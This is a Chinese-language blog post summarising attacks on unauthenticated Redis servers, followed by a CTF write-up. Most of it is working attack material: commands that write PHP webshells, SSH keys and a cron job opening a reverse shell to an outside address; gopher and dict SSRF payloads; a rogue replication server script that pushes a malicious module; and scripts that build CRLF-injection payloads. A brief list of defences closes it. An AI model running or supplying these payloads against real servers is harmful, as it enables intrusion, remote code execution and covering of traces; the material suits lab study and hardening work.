Redis攻击简单总结

前言

​ Redis默认端口为6379,默认密码为空。而当我们没有将该端口做防火墙措施,且未设置密码时就会存在redis未授权漏洞。

​ 该漏洞导致用户可以利用redisconfig命令来进行文件读写导致getshell

常见利用方式

写webshell

1
2
3
4
set x "<?php phpinfo(); ?>"
config set dbfilename 1.php
config set dir /var/www/html
save

访问1.php即可

SSH公钥

条件:

  • 目标机器以root权限运行redis才可以
  • 存在.ssh目录
1
2
3
4
config set dir /root/.ssh
config set dbfilename pub_keys
set x "x" #x为生产的公钥
save

反序列化相关

Python服务器有时会将PickleYaml序列化后数据存储在Redis中。还有一些缓存的库会直接选择序列化后存入 Redis 中。这时我们就可以通过篡改序列化后的数据为我们的恶意Payload,当Redis取出该数据时就会触发反序列化完成命令执行

当然,还有php反序列化也可以被触发 一次“SSRF–>RCE”的艰难利用

写定时任务反弹shell

条件:

  • Centos,当目标为Ubuntu时会权限不足(redis默认写权限为644,而Ubuntu写定时任务权限为600)

  • Centos定时任务位于/var/spool/cron/,此外/etc/crontab这个文件虽然也可以执行定时任务,但是需要root,在高版本的Redis中,默认启动是以Redis权限运行的

1
2
3
4
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.23.176/4444 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

Windows下的利用

无非是MOF启动项这些,放篇文章吧 Redis未授权访问在windows下的利用

复现

需要将redis.conf中的bind 127.0.0.1给注释掉,然后将protected-mode yes改为no

然后执行如下命令使配置文件生效

1
2
cd redis安装目录
redis-server redis.conf

探测是否存在redis未授权 / 配置信息

1
curl gopher://10.23.78.243:6379/_info

查看存在哪些键

1
curl gopher://10.23.78.243:6379/_keys%20*

攻击机进行远程连接

1
redis-cli -h IP -p <默认为6379>

最后执行上面常见利用方式的payload即可

SSRF+Redis未授权

Redis在默认情况下端口不会暴露出来,且只能本地访问,所以就会有部分运维人员认为Redis设置密码多此一举。

但当服务器存在SSRF时,它很有可能就会结合Redis未授权导致被getshell

首先我们设置redis只能本地访问,关闭暴露的端口(即恢复为默认配置)

写一个漏洞 Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//test.php
<?php
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
$a = $_GET['a'];
if($a){
$b = curl($a);
echo $b;
}

根据这篇文章生成相应gopher payload

10.23.78.243redis服务地址

然后在浏览器访问http://10.23.78.243/test2.php?a=gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2537%250d%250a%2543%254f%254d%254d%2541%254e%2544%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2534%250d%250a%256b%2565%2579%2531%250d%250a%2524%2536%250d%250a%2576%2561%256c%2575%2565%2531%250d%250a

注意在浏览器框输入gopher payload时要将它进行二次URL编码

bash输入redis-cli keys *即可发现成功生成了key1

image-20201202230109495

同理,我们可以本地模拟写shell生成gopher payload,再访问即可

gopher payload自动生成

github上有现成打redisgopher payload自动生成脚本 传送门

只需要把命令写在redis.cmd,如

1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

即可自动生成

image-20201206211015436

Mark一下,还有其他打mysqlfastcgi的自动生成 传送门

dict协议攻击redis

除了使用gopher来打redis,还有一种更简便的方式,就是使用dict

格式

1
dict://serverip:port/命令:参数

探测是否存在redis未授权

1
curl dict://192.168.43.137:6379/info

不过利用dict协议并不能直接写webshell,需要用到redis 主从复制

1
2
3
4
5
6
7
8
9
10
1.和自己VPS建立主从关系
curl dict://127.0.0.1:6379/slaveof:ip:port
2.设置保存路径
curl dict://127.0.0.1:6379/config:set:dir:/var/www/html/
3.设置保存文件名
curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php
4.保存
curl dict://127.0.0.1:6379/save
5.断开主从
curl dict://127.0.0.1:6379/slaveof:no:one

注意一定要断开主从,否则会加载失败

来自 浅析Linux下Redis的攻击面(一) - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so'

主从复制getshell

前言

简单来说,Redis主从复制是一种牺牲空间,换取效率的方式。

它会将一台服务器视为主机,而其他服务器就会被视为从机,当主机的数据更新时,从机上的数据也会保持实时同步,即主机的存储的数据和从机是一模一样的,而当进行数据读取时,就会在从机取出数据,这样读写分离的模式能够一定程度上缓解Redis服务器的压力。

详细信息可以看这里

而在当前主流的服务器集群架构中,Redis越来越多的被单独布置在一个服务器上,而不存在web服务。单独的文件读写已经越来越难拿到shell了,而在2018年的zeronights会议上就提出了一种新的攻击方式,即主从复制getshell

Redis模块功能

Redis 4.x后新增了模块功能,通过外部拓展,可以实现在redis中实现新的redis命令,并通过C编译出so文件。

当两台Redis主机设置为主从模式时,Redis主机可通过FULLRESYNC同步文件到从机。此时就能在从节点上加载so文件达到命令执行

Windows最新版本为3.x,所以Windows服务器基本不支持该操作

利用

现成脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#RogueServer.py
import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break


if __name__=="__main__":

parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")

(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp

CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)

恶意so文件生成脚本 传送门

usage

python RogueServer.py -lport 1234 --exp exp.so

然后连上目标去执行相应payload来达成命令执行,如下

redis装成3.x了,不支持加载moudle,懒得重装,直接嫖的图

或者直接使用github上的脚本,不用自己去手动创建恶意so文件,更方便快速 传送门

CTF

祥云杯-2020 doyouknowssrf

考点:PHP parse_url函数绕过,Python urllib CRLF,SSRF+redis,redis主从复制写shell

解题

GACTF那道题SSSRFME基本一致,而且还没有设置密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){

echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}

if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

return false;
}else{
return $url;
}
}


function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}

highlight_file(__FILE__);
curl($_GET['url']);

简单代码审计可知,服务器会根据parse_url获取到的schemehostport来判断是否为合法IP

parse_url存在漏洞 传送门

可以使用形如http://test:test@127.0.0.1@baidu.com/来绕过限制,相当于http://127.0.0.1

根据提示打了一下5000端口 ?url=http://test:test@127.0.0.1:5000@baidu.com/

发现又存在一个SSRF,访问6379端口发现redis报错,但题目说明了全程只能使用http/https,所以就不能使用gopherdict来打

然后试一下访问vps,发现为Python-urllib/3.7

这就又存在一个CLRFCVE-2019-9740 Python urllib CRLF injection

那我们就可以通过CLRF进行注入

放一下GACTF爆破redis密码的脚本(这里用不到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import urllib.parse
target= "http://eci-2ze4i20uld1whv2gvhyu.cloudeci1.ichunqiu.com"
vps = "xx.xx.xx.xx"
payload = f''' HTTP/1.1
auth 123456
slaveof { vps } 3333
foo: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(target + payload)
# res = requests.get(target + payload)
# print(res.text)

在服务器上开启nc,当autu123456时收到了请求,即爆破出了密码为123456

使用redis-rogue-server.py 传送门

这里能加载so文件却不能弹shell,于是修改加载恶意so文件的代码为写webshell

然后开启监听

使用如下脚本打印写webshellpayload

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib.parse
vps = "xx.xx.xx.xx"
payload = f''' HTTP/1.1
auth 123456
config set dir /var/www/html
config set dbfilename shell.php
slaveof { vps } 21000
foo: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(payload)

发送payload过去就能写好shellflag位于根目录

这道题其实不需要主从复制,只用urllib打更简单,因为没有设置密码,y1ng师傅是直接用urllib打的 传送门

原理参考这个 Hack Redis via Python urllib HTTP Header Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests as req

url = "http://eci-2zebigmdhrm1h25i2qcw.cloudeci1.ichunqiu.com/"

def g_redis(s, num):
res = ''
for i in s:
res += f"%{'%02x' % ord(i)}"
if num > 0:
return g_redis(res, num-1)
else:
return res

payload = "\r\n".join(["","set a '<?php phpinfo(); ?>'","config set dir /var/www/html","config set dbfilename y1ng.php","save","test"])
req.get(url=url+"?url=http://@127.0.0.1:5000@www.baidu.com/?url=http://127.0.0.1:6379?"+g_redis(payload, 1))

防御措施

  • 修改Redis默认端口
  • Redis端口设置防火墙
  • 设置强密码
  • 尽量不在一台服务器同时设置Redis服务和web服务
  • 禁止root权限运行redis
  • 修改 redis.conf禁止高危命令

参考

Redis 多维度角度下的攻击面

Redis主从复制getshell技巧

浅析Linux下Redis的攻击面(一) - 先知社区 (aliyun.com)

评论